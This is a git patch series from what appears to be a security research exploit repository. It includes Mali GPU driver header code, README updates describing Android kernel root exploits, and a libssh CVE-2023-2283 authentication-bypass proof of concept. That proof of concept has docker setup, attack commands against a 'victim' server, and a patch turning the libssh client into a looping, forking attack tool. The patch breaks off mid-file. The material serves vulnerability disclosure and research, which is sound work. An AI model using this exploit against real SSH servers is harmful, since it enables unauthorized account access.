v, uint32_t start, uint32_t end) +{ +#ifndef NDEBUG + const int width = end - start + 1; + if (width < 64) { + const uint64_t max = (1ull << width) - 1; + assert(v <= max); + } +#endif + + return v << start; +} + +static inline uint64_t +__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end) +{ + uint64_t val = 0; + const int width = end - start + 1; + const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 ); + + for (int byte = start / 8; byte <= end / 8; byte++) { + val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8); + } + + return (val >> (start % 8)) & mask; +} + +enum mali_job_type { + MALI_JOB_TYPE_NOT_STARTED = 0, + MALI_JOB_TYPE_NULL = 1, + MALI_JOB_TYPE_WRITE_VALUE = 2, + MALI_JOB_TYPE_CACHE_FLUSH = 3, + MALI_JOB_TYPE_COMPUTE = 4, + MALI_JOB_TYPE_VERTEX = 5, + MALI_JOB_TYPE_GEOMETRY = 6, + MALI_JOB_TYPE_TILER = 7, + MALI_JOB_TYPE_FUSED = 8, + MALI_JOB_TYPE_FRAGMENT = 9, +}; + +enum mali_write_value_type { + MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER = 1, + MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP = 2, + MALI_WRITE_VALUE_TYPE_ZERO = 3, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_8 = 4, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_16 = 5, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_32 = 6, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64 = 7, +}; + + +struct MALI_WRITE_VALUE_JOB_PAYLOAD { + uint64_t address; + enum mali_write_value_type type; + uint64_t immediate_value; +}; + +struct MALI_JOB_HEADER { + uint32_t exception_status; + uint32_t first_incomplete_task; + uint64_t fault_pointer; + bool is_64b; + enum mali_job_type type; + bool barrier; + bool invalidate_cache; + bool suppress_prefetch; + bool enable_texture_mapper; + bool relax_dependency_1; + bool relax_dependency_2; + uint32_t index; + uint32_t dependency_1; + uint32_t dependency_2; + uint64_t next; +}; + + +static inline void +MALI_JOB_HEADER_pack(uint32_t * restrict cl, + const struct MALI_JOB_HEADER * restrict values) +{ + cl[ 0] = __gen_uint(values->exception_status, 0, 31); + cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31); + cl[ 2] = __gen_uint(values->fault_pointer, 0, 63); + cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32; + cl[ 4] = __gen_uint(values->is_64b, 0, 0) | + __gen_uint(values->type, 1, 7) | + __gen_uint(values->barrier, 8, 8) | + __gen_uint(values->invalidate_cache, 9, 9) | + __gen_uint(values->suppress_prefetch, 11, 11) | + __gen_uint(values->enable_texture_mapper, 12, 12) | + __gen_uint(values->relax_dependency_1, 14, 14) | + __gen_uint(values->relax_dependency_2, 15, 15) | + __gen_uint(values->index, 16, 31); + cl[ 5] = __gen_uint(values->dependency_1, 0, 15) | + __gen_uint(values->dependency_2, 16, 31); + cl[ 6] = __gen_uint(values->next, 0, 63); + cl[ 7] = __gen_uint(values->next, 0, 63) >> 32; +} + + +#define MALI_JOB_HEADER_LENGTH 32 +struct mali_job_header_packed { uint32_t opaque[8]; }; +static inline void +MALI_JOB_HEADER_unpack(const uint8_t * restrict cl, + struct MALI_JOB_HEADER * restrict values) +{ + if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n"); + values->exception_status = __gen_unpack_uint(cl, 0, 31); + values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63); + values->fault_pointer = __gen_unpack_uint(cl, 64, 127); + values->is_64b = __gen_unpack_uint(cl, 128, 128); + values->type = __gen_unpack_uint(cl, 129, 135); + values->barrier = __gen_unpack_uint(cl, 136, 136); + values->invalidate_cache = __gen_unpack_uint(cl, 137, 137); + values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139); + values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140); + values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142); + values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143); + values->index = __gen_unpack_uint(cl, 144, 159); + values->dependency_1 = __gen_unpack_uint(cl, 160, 175); + values->dependency_2 = __gen_unpack_uint(cl, 176, 191); + values->next = __gen_unpack_uint(cl, 192, 255); +} + +static inline const char * +mali_job_type_as_str(enum mali_job_type imm) +{ + switch (imm) { + case MALI_JOB_TYPE_NOT_STARTED: return "Not started"; + case MALI_JOB_TYPE_NULL: return "Null"; + case MALI_JOB_TYPE_WRITE_VALUE: return "Write value"; + case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush"; + case MALI_JOB_TYPE_COMPUTE: return "Compute"; + case MALI_JOB_TYPE_VERTEX: return "Vertex"; + case MALI_JOB_TYPE_GEOMETRY: return "Geometry"; + case MALI_JOB_TYPE_TILER: return "Tiler"; + case MALI_JOB_TYPE_FUSED: return "Fused"; + case MALI_JOB_TYPE_FRAGMENT: return "Fragment"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent) +{ + fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status); + fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task); + fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer); + fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false"); + fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type)); + fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false"); + fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false"); + fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false"); + fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false"); + fprintf(fp, "%*sIndex: %u\n", indent, "", values->index); + fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1); + fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2); + fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next); +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl, + const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + cl[ 0] = __gen_uint(values->address, 0, 63); + cl[ 1] = __gen_uint(values->address, 0, 63) >> 32; + cl[ 2] = __gen_uint(values->type, 0, 31); + cl[ 3] = 0; + cl[ 4] = __gen_uint(values->immediate_value, 0, 63); + cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32; +} + + +#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24 +#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0 + + +struct mali_write_value_job_payload_packed { uint32_t opaque[6]; }; +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl, + struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n"); + values->address = __gen_unpack_uint(cl, 0, 63); + values->type = __gen_unpack_uint(cl, 64, 95); + values->immediate_value = __gen_unpack_uint(cl, 128, 191); +} + +static inline const char * +mali_write_value_type_as_str(enum mali_write_value_type imm) +{ + switch (imm) { + case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter"; + case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp"; + case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent) +{ + fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address); + fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type)); + fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value); +} + +struct mali_write_value_job_packed { + uint32_t opaque[14]; +}; + +#define MALI_JOB_HEADER_header \ + .is_64b = true + +#define MALI_WRITE_VALUE_JOB_LENGTH 56 +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0 +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32 + +#endif From ed8b1fd316916ded3d3643fc530584bdc43b6f07 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 3 Apr 2023 08:34:48 +0100 Subject: [PATCH 097/140] Update link --- SecurityExploits/Android/Mali/GHSL-2023-005/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/README.md b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md index 76a9978..44409ad 100644 --- a/SecurityExploits/Android/Mali/GHSL-2023-005/README.md +++ b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md @@ -1,6 +1,6 @@ ## Exploit for GHSL-2023-005 -The write up can be found [here](). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. +The write up can be found [here](https://github.blog/2023-04-06-pwning-pixel-6-with-a-leftover-patch). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. The exploit is tested on the Google Pixel 6 for devices running the January 2023 patch. For reference, I used the following command to compile it with clang in ndk-21: From 63ba211eb8113bbed9694e68c3e0e85dc9f39104 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Sat, 15 Apr 2023 01:38:46 +0000 Subject: [PATCH 098/140] Create issue template for the wall of fame --- .github/ISSUE_TEMPLATE/wall-of-fame.yml | 59 +++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/wall-of-fame.yml diff --git a/.github/ISSUE_TEMPLATE/wall-of-fame.yml b/.github/ISSUE_TEMPLATE/wall-of-fame.yml new file mode 100644 index 0000000..326a408 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/wall-of-fame.yml @@ -0,0 +1,59 @@ +name: CodeQL Wall of Fame submission +description: Propose an entry to the CodeQL Wall of Fame (https://securitylab.github.com/codeql-wall-of-fame) +title: "[wall-of-fame]: " +labels: [wall-of-fame] +body: + - type: markdown + attributes: + value: | + # Welcome! + + Thank you for submitting an entry for the CodeQL Wall of Fame! + + # Details + - type: input + id: date + attributes: + label: Date + description: Publication date of the blog post, in YYYY-MM-DD format + placeholder: | + ex. 2023-01-01 + validations: + required: true + - type: input + id: title + attributes: + label: Title + description: Title of the blog post + validations: + required: true + - type: input + id: author + attributes: + label: Author + description: Author of the blog post + validations: + required: true + - type: input + id: url + attributes: + label: URL + description: URL of the blog post + validations: + required: true + - type: input + id: cve + attributes: + label: CVE + description: CVE ID(s), comma separated + placeholder: | + ex. CVE-2023-0001, CVE-2023-0002 + validations: + required: true + - type: textarea + id: description + attributes: + label: description + description: Short summary of the blog post + validations: + required: true From fc8e70fbf6bb652e8526408c1dbeb12fefcc1367 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 17 Apr 2023 20:26:30 -0700 Subject: [PATCH 099/140] Typo - missing capitalization --- .github/ISSUE_TEMPLATE/wall-of-fame.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/wall-of-fame.yml b/.github/ISSUE_TEMPLATE/wall-of-fame.yml index 326a408..0489ed0 100644 --- a/.github/ISSUE_TEMPLATE/wall-of-fame.yml +++ b/.github/ISSUE_TEMPLATE/wall-of-fame.yml @@ -53,7 +53,7 @@ body: - type: textarea id: description attributes: - label: description + label: Description description: Short summary of the blog post validations: required: true From 319b5ad6a8b2305046a0646a91c63e58a08932f5 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 24 May 2023 10:40:12 +0100 Subject: [PATCH 100/140] Add link --- SecurityExploits/Android/Mali/CVE_2022_46395/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/README.md b/SecurityExploits/Android/Mali/CVE_2022_46395/README.md index 6cafc1a..c16225f 100644 --- a/SecurityExploits/Android/Mali/CVE_2022_46395/README.md +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/README.md @@ -1,6 +1,6 @@ ## Exploit for CVE-2022-46395 -The write up can be found [here](). This is a bug in the Arm Mali kernel driver that I reported in November 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. +The write up can be found [here](https://github.blog/2023-05-25-rooting-with-root-cause-finding-a-variant-of-a-project-zero-bug). This is a bug in the Arm Mali kernel driver that I reported in November 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. The exploit is tested on the Google Pixel 6 with the Novmember 2022 and January 2023 patch. For reference, I used the following command to compile with clang in ndk-21: From 79b4e6fa9729d1e61d839dd60d01eeabbc72d8f4 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 7 Jun 2023 12:38:20 +0100 Subject: [PATCH 101/140] PoC for libssh CVE-2023-2283 --- .../README.md | 104 +++++ .../attacker/Dockerfile | 35 ++ .../attacker/home/.bash_history | 1 + .../attacker/home/.tmux.conf | 11 + .../attacker/home/diff.txt | 399 ++++++++++++++++++ .../attacker/home/id_ed25519.pub | 1 + .../attacker/home/id_rsa.pub | 1 + .../server/Dockerfile | 35 ++ .../server/home/.bash_history | 5 + .../server/home/.ssh/authorized_keys | 1 + .../server/home/.ssh/id_ed25519.pub | 1 + .../server/home/.ssh/id_rsa.pub | 1 + .../server/home/.tmux.conf | 11 + 13 files changed, 606 insertions(+) create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/README.md create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/Dockerfile create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.bash_history create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.tmux.conf create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/diff.txt create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_ed25519.pub create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/id_rsa.pub create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/Dockerfile create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.bash_history create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/authorized_keys create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_ed25519.pub create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.ssh/id_rsa.pub create mode 100644 SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/server/home/.tmux.conf diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/README.md b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/README.md new file mode 100644 index 0000000..6cfb209 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/README.md @@ -0,0 +1,104 @@ +# Public key authentication bypass in libssh (CVE-2023-2283) + +[CVE-2023-2283](https://securitylab.github.com/advisories/GHSL-2023-085_libssh/) +is an authentication bypass vulnerability in +[libssh](https://www.libssh.org/), which, under certain conditions, may +enable a remote attacker to gain unauthorized access to another user’s +account via ssh login. + +This demo uses docker to simulate two computers, named "libssh-server" +and "libssh-attacker". On libssh-server, we run `ssh_server_pthread`, +which is a simple ssh server application that is [included as an +example](https://gitlab.com/libssh/libssh-mirror/-/blob/e8322817a9e5aaef0698d779ddd467a209a85d85/examples/ssh_server.c) +with the libssh source code. The server is configured to allow public +key authentication with an ED25519 key, but the attacker does not know the +private key. The attacker instead authenticates by triggering the vulnerability. + +The vulnerability is triggered when `ssh_server_pthread` hits an +out-of-memory condition at precisely the right moment. If libssh is +running on a 64-bit server with plenty of RAM then it is very unlikely +that an attacker will be able to generate enough memory pressure to +cause an out-of-memory error, which means that the vulnerability is +unlikely to be exploitable. The goal of this demo is, instead, to show +that the vulnerability is exploitable if libssh is running in a +memory-constrained environment such as a [memory-constrained +container](https://docs.docker.com/config/containers/resource_constraints/), +which we believe is a realistic scenario for a real-life libssh deployment. +The demo uses `ulimit` to set a 256MB memory limit on the ssh server. + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.18.0.0/16 libssh-demo-network +``` + +## Server setup + +Build the docker image: + +``` +docker build server -t libssh-server --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network libssh-demo-network --ip=172.18.0.10 -it libssh-server +``` + +If you want to be able to debug the libssh server, then you need to start the container with some extra command line arguments: + +``` +docker run --rm --network libssh-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-server +``` + +Inside the container, run these commands to create ssh keys for the server: + +``` +mkdir ~/testkeys +ssh-keygen -P "" -t ecdsa -f ~/testkeys/id_ecdsa +ssh-keygen -P "" -t rsa -f ~/testkeys/id_rsa +``` + +Start the server: + +``` +ulimit -v 262144 # 256MB +~/libssh/build/examples/ssh_server_pthread -p 2022 -r ~/testkeys/id_rsa -e ~/testkeys/id_ecdsa -a ~/.ssh/authorized_keys 0.0.0.0 +``` + +Note: ssh servers normally listen on port 22, but root privileges are required to listen on 22, so this demo uses port 2022 instead. Use `sudo` if you want to change the port number to 22. The `sudo` password in this docker container is "x". + +## Attacker setup + +Build the docker image: + +``` +docker build attacker -t libssh-attacker --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network libssh-demo-network --ip=172.18.0.11 -it libssh-attacker +``` + +If you want to be able to debug the client, then you need to start the container with some extra command line arguments: + +``` +docker run --rm --network libssh-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-attacker +``` + +The attacker uses a modified version of libssh. The modifications are in the file named `diff.txt` and are applied during the `docker build` step. + +Run the malicious client like this: + +``` +~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub +``` + +The vulnerability is triggered when the ssh server has an out-of-memory error at the exact right moment, which means that the PoC is unreliable. It runs in a loop until it's successful, which can often take several minutes. You may also need to run several instance of the PoC simultaneously to generate enough memory pressure on the server. I suggest using `tmux` to open three terminals and start 3 instances of the PoC. When one of the PoCs succeeds, it creates a file named "success.txt", which notifies the other instances that they should stop. + +Note: the PoC sometimes accidentally triggers a SIGSEGV in the server due to an unrelated [null-pointer dereference bug](https://gitlab.com/libssh/libssh-mirror/-/merge_requests/381). If this happens, you will need to restart the `ssh_server_pthread` process. diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/Dockerfile b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/Dockerfile new file mode 100644 index 0000000..21837c6 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/Dockerfile @@ -0,0 +1,35 @@ +FROM ubuntu:22.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux emacs git gdb cmake build-essential net-tools psmisc \ + libssl-dev zlib1g-dev libkrb5-dev libkrb5-dbg + +ARG UID=1000 + +# Create a non-root user account to run libssh. +RUN adduser attacker --disabled-password --uid $UID + +# Grant the 'attacker' user sudo access. This is not used for the demo, +# but it is often handy for installing extra packages. +RUN adduser attacker sudo +RUN echo "attacker:x" | chpasswd +COPY home/ /home/attacker/ +RUN chown -R attacker:attacker /home/attacker + +# Switch over to the 'attacker' user, since root access is no longer required +USER attacker +WORKDIR /home/attacker + +# Clone and build libssh v0.10.4 +RUN git clone https://git.libssh.org/projects/libssh.git && \ + cd libssh && \ + git checkout e8322817a9e5aaef0698d779ddd467a209a85d85 && \ + git apply ~/diff.txt && \ + mkdir build && cd build && \ + cmake .. && \ + make -j $(nproc) + +USER attacker diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.bash_history b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.bash_history new file mode 100644 index 0000000..5df6160 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.bash_history @@ -0,0 +1 @@ +~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.tmux.conf b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.tmux.conf new file mode 100644 index 0000000..f2da785 --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/.tmux.conf @@ -0,0 +1,11 @@ +# Enable 256 colors +set -g default-terminal "screen-256color" + +# Enable using the mouse to switch windows. +set -g mouse on + +# Don't lose track of SSH_AGENT etc. from parent environment. +set -g update-environment -r + +# history buffer size +set-option -g history-limit 100000 diff --git a/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/diff.txt b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/diff.txt new file mode 100644 index 0000000..c56191d --- /dev/null +++ b/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283/attacker/home/diff.txt @@ -0,0 +1,399 @@ +diff --git a/examples/ssh_client.c b/examples/ssh_client.c +index aaf0cb5b..4055a2c5 100644 +--- a/examples/ssh_client.c ++++ b/examples/ssh_client.c +@@ -32,10 +32,12 @@ + #include + #endif + ++#include + #include + #include + #include + #include ++#include + + #include + #include +@@ -47,6 +49,7 @@ + + static char *host = NULL; + static char *user = NULL; ++static char *pubkey_filename = NULL; + static char *cmds[MAXCMD]; + static char *config_file = NULL; + static struct termios terminal; +@@ -89,7 +92,7 @@ static void add_cmd(char *cmd) + static void usage(void) + { + fprintf(stderr, +- "Usage : ssh [options] [login@]hostname\n" ++ "Usage : ssh [options] [login@]hostname pubkey_file\n" + "sample client - libssh-%s\n" + "Options :\n" + " -l user : log in as user\n" +@@ -134,12 +137,15 @@ static int opts(int argc, char **argv) + if (optind < argc) { + host = argv[optind++]; + } ++ if (optind < argc) { ++ pubkey_filename = argv[optind++]; ++ } + + while(optind < argc) { + add_cmd(argv[optind++]); + } + +- if (host == NULL) { ++ if (host == NULL || pubkey_filename == NULL) { + return -1; + } + +@@ -321,12 +327,27 @@ static void batch_shell(ssh_session session) + ssh_channel_free(channel); + } + +-static int client(ssh_session session) ++static void kill_procs(const int nprocs, pid_t *cpids) { ++ int i; ++ for (i = 0; i+1 < nprocs; i++) { ++ const pid_t cpid = cpids[i]; ++ if (cpid > 0) { ++ cpids[i] = -1; ++ kill(cpid, SIGTERM); ++ waitpid(cpid, 0, 0); ++ } ++ } ++} ++ ++static int client(ssh_session session, const int myid, const int nprocs, pid_t *cpids) + { +- int auth = 0; + char *banner; + int state; ++ int result; + ++ if (ssh_options_set(session, SSH_OPTIONS_COMPRESSION_C_S, "zlib") < 0) { ++ return -1; ++ } + if (user) { + if (ssh_options_set(session, SSH_OPTIONS_USER, user) < 0) { + return -1; +@@ -352,6 +373,7 @@ static int client(ssh_session session) + fprintf(stderr, "Connection failed : %s\n", ssh_get_error(session)); + return -1; + } ++ printf("connection successful: %d\n", myid); + + state = verify_knownhost(session); + if (state != 0) { +@@ -364,16 +386,21 @@ static int client(ssh_session session) + printf("%s\n", banner); + free(banner); + } +- auth = authenticate_console(session); +- if (auth != SSH_AUTH_SUCCESS) { ++ result = ssh_bypass_auth(session, pubkey_filename, myid, nprocs); ++ if (myid == 0) { ++ kill_procs(nprocs, cpids); ++ } ++ if (result < 0) { + return -1; ++ } else { ++ // Write a file named success.txt ++ close(open("success.txt", O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR)); + } + if (cmds[0] == NULL) { + shell(session); + } else { + batch_shell(session); + } +- + return 0; + } + +@@ -406,9 +433,48 @@ static void cleanup_pcap(void) + pcap = NULL; + } + +-int main(int argc, char **argv) ++static int run(int argc, char **argv) + { + ssh_session session; ++ pid_t cpids[5]; ++ int result; ++ ++ // Fork a few times to increase the amount of memory pressure on the server. ++ const int nprocs = 1 + (rand() % (1 + sizeof(cpids)/sizeof(cpids[0]))); ++ int myid; ++ printf("nprocs = %d\n", nprocs); ++ for (myid = 1; myid < nprocs; myid++) { ++ struct timespec tm = {0}; ++ pid_t cpid = fork(); ++ if (cpid < 0) { ++ const int err = errno; ++ fprintf(stderr, "fork failed: %s\n", strerror(err)); ++ exit(EXIT_FAILURE); ++ } else if (cpid == 0) { ++ break; ++ } ++ ++ cpids[myid-1] = cpid; ++ // Short delay between each fork so that they don't all try to connect ++ // at once. ++ tm.tv_nsec = 1000000000L / 10; ++ nanosleep(&tm, 0); ++ } ++ if (myid == nprocs) { ++ myid = 0; ++ } else { ++ // Suppress output in the forks ++ const int stdin_new = open("/dev/null", O_RDONLY); ++ const int stdout_new = open("/dev/null", O_RDONLY); ++ const int stderr_new = open("/dev/null", O_RDONLY); ++ dup2(stdin_new, STDIN_FILENO); ++ dup2(stdout_new, STDOUT_FILENO); ++ dup2(stderr_new, STDERR_FILENO); ++ close(stdin_new); ++ close(stdout_new); ++ close(stderr_new); ++ } ++ printf("fork id %d\n", myid); + + ssh_init(); + session = ssh_new(); +@@ -427,7 +493,10 @@ int main(int argc, char **argv) + signal(SIGTERM, do_exit); + + set_pcap(session); +- client(session); ++ result = client(session, myid, nprocs, cpids); ++ if (myid == 0) { ++ kill_procs(nprocs, cpids); ++ } + + ssh_disconnect(session); + ssh_free(session); +@@ -435,5 +504,36 @@ int main(int argc, char **argv) + + ssh_finalize(); + +- return 0; ++ return result; ++} ++ ++int main(int argc, char **argv) ++{ ++ // Keep restarting the process until it's successful. ++ while (1) { ++ const pid_t cpid = fork(); ++ if (cpid == 0) { ++ break; ++ } else if (cpid > 0) { ++ int wstatus = 0; ++ waitpid(cpid, &wstatus, 0); ++ if (WEXITSTATUS(wstatus) == EXIT_SUCCESS) { ++ return EXIT_SUCCESS; ++ } ++ } else { ++ return EXIT_FAILURE; ++ } ++ } ++ ++ if (open("success.txt", O_RDONLY) >= 0) { ++ printf("Stopping because a file named success.txt was found.\n"); ++ return EXIT_SUCCESS; ++ } ++ ++ srand(time(0)); ++ if (run(argc, argv) == 0) { ++ return EXIT_SUCCESS; ++ } else { ++ return EXIT_FAILURE; ++ } + } +diff --git a/include/libssh/libssh.h b/include/libssh/libssh.h +index 7857a77b..e79da840 100644 +--- a/include/libssh/libssh.h ++++ b/include/libssh/libssh.h +@@ -508,6 +508,9 @@ LIBSSH_API void ssh_disconnect(ssh_session session); + LIBSSH_API char *ssh_dirname (const char *path); + LIBSSH_API int ssh_finalize(void); + ++LIBSSH_API int ssh_bypass_auth(ssh_session session, const char* pubkey_filename, const int myid, const int nprocs); ++ ++ + /* REVERSE PORT FORWARDING */ + LIBSSH_API ssh_channel ssh_channel_open_forward_port(ssh_session session, + int timeout_ms, +diff --git a/src/client.c b/src/client.c +index a35a28e1..e2facc4a 100644 +--- a/src/client.c ++++ b/src/client.c +@@ -24,6 +24,7 @@ + #include "config.h" + + #include ++#include + + #ifndef _WIN32 + #include +@@ -46,6 +47,7 @@ + 